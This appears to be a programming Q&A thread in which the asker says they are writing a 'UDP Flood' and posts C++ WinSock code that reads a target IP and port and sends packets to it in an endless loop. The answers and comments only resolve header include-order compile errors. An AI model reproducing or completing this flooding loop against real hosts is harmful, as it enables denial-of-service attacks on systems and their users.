3

I'm trying to make a UDP Flood using WinSock2.h in c++ but I'm getting over 70 errors and 17 warnings on just WinSock2.h and all the errors are redefinitions, syntax errors from ws2def.h, and "different linkages". Am I doing something wrong or is this a problem with WinSock2? If it is of any use I am using 64 bit Windows 10, Visual Studio 2015

  #include "stdafx.h"
  #include <WinSock2.h>
  #include <windows.h>
  #include <fstream>
  #include <time.h>
  #include "wtypes.h"
  #include "Functions.h"
  #pragma comment(lib, "ws2_32.lib") 
    //Get IP
    cin.getline(TargetIP, 17);

    //Get IP
    cout << "Enter the Port: ";
    cin >> nPort;
    cout << endl;

    //Initialize WinSock 2.2
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    //Create our UDP Socket
    s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    //Setup the target address
    targetAddr.sin_family = AF_INET;
    targetAddr.sin_port = htons(nPort);
    targetAddr.sin_addr.s_addr = inet_addr(TargetIP);

    //Get input from user
    cout << "Please specify the buffer size:";
    cin >> bufferSize;

    //Create our buffer
    char * buffer = new char[bufferSize];

    while(true){
        //send the buffer to target
        sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
    }

    //Close Socket
    closesocket(s);

    //Cleanup WSA
    WSACleanup();

    //Cleanup our buffer (prevent memory leak)
    delete[]buffer;
Cody Gray - on strike
  • 239,200
  • 50
  • 490
  • 574
Logan
  • 51
  • 10

1 Answers1

5

I guess you may have a problem in the order of inclusions.

You are probably getting many errors along the lines of:

1>c:\program files (x86)\windows kits\8.1\include\um\winsock2.h(2373): error C2375: 'WSAStartup': redefinition; different linkage
1>  c:\program files (x86)\windows kits\8.1\include\um\winsock.h(867): note: see declaration of 'WSAStartup'

That's because <windows.h> includes <winsock.h> by default, and <winsock.h> provides many declarations that overlap with those in <winsock2.h>, which causes errors when <winsock2.h> is included after <windows.h>.

So, you may want to include <winsock2.h> before <windows.h>:

#include <winsock2.h>
#include <windows.h>

Or, as an alternative, you may try to define _WINSOCKAPI_ to prevent the inclusion of <winsock.h> in <windows.h> with this preprocessor #undef-#define-#include "dance":

#undef _WINSOCKAPI_
#define _WINSOCKAPI_  /* prevents <winsock.h> inclusion by <windows.h> */
#include <windows.h>
#include <winsock2.h>

I have to say that the definition of _WINSOCKAPI_ macro to interfere in the ordinary header inclusion guard mechanics to prevent <windows.h> to include <winsock.h> sounds like an implementation-details-based fragile "hack", so I would probably prefer the first option.

But all in all this order of inclusion bug sounds to me like a bug in the Win32's headers, so the best thing would be for Microsoft to fix that.

EDIT
As suggested in the comments, a further alternative may be to #define WIN32_LEAN_AND_MEAN before including <windows.h>. However, please note that this would prevent the inclusions of other Windows headers as well.

P.S.
If you are using precompiled headers ("stdafx.h" in the newly showed code in your question), you may want to pay attention to order of inclusions in there as well.

Mr.C64
  • 41,637
  • 14
  • 86
  • 162
  • could you please explain why including that before windows makes a difference? – Logan Jul 01 '16 at 16:35
  • `` includes `` by default, and `` provides many declarations of ``, which causes errors when `` is included after ``. – Mr.C64 Jul 01 '16 at 16:39
  • 1
    Now I'm just seeing you pasted some source code in your question, and you are using precompiled headers (`#include "stdafx.h"`). Since `"stdafx.h"` is included _before_ the other headers, please make sure that you don't have this inclusion conflict in `stdafx.h` as well. – Mr.C64 Jul 01 '16 at 16:42
  • Okay that definitely helped, now I'm down to four errors all in my main.cpp "Initialization of buffer is skipped by case label" I think I got it now. Thank you! – Logan Jul 01 '16 at 16:44
  • You're welcome. Glad to be of service. I know this was a subtle bug, and I was hit by that in my initial Win32 programming experiences :) – Mr.C64 Jul 01 '16 at 16:45
  • I believe you can just define `WIN32_LEAN_AND_MEAN` before including Windows.h. That will avoid its dragging in WinSock, allowing you to include WinSock2.h as normal after including Windows.h. – Cody Gray - on strike Jul 01 '16 at 17:06
  • @CodyGray: The problem is that WIN32_LEAN_AND_MEAN would avoid dragging in also other useful stuff, this is why I'm not a big fan of this option. Anyway, those are all hacks around a bug out of our control. – Mr.C64 Jul 01 '16 at 17:10
  • In my experience, most of what it excludes is very rarely used, and can be explicitly included thereafter if really needed. About the only thing that cannot are the resource IDs (OBM_* and etc.) – Cody Gray - on strike Jul 01 '16 at 17:16
  • @CodyGray: There are several headers in the WIN32_LEAN_AND_MEAN preprocessor #ifndef branch in . I'm not sure if other code may depend on those. All in all, I think the best thing to do would be to fix this bizarre order of inclusion constraint in Windows headers. – Mr.C64 Jul 01 '16 at 17:22
  • Well, you nailed the problem already. The two libraries are not meant to coexist. WinSock2 *replaces* the original WinSock. If I remember correctly, the Windows master headers actually include WinSock2 if you're targeting a new enough version of Windows, making this not an actual problem. But I could be wrong, it's been quite a while since I looked at this. – Cody Gray - on strike Jul 01 '16 at 17:26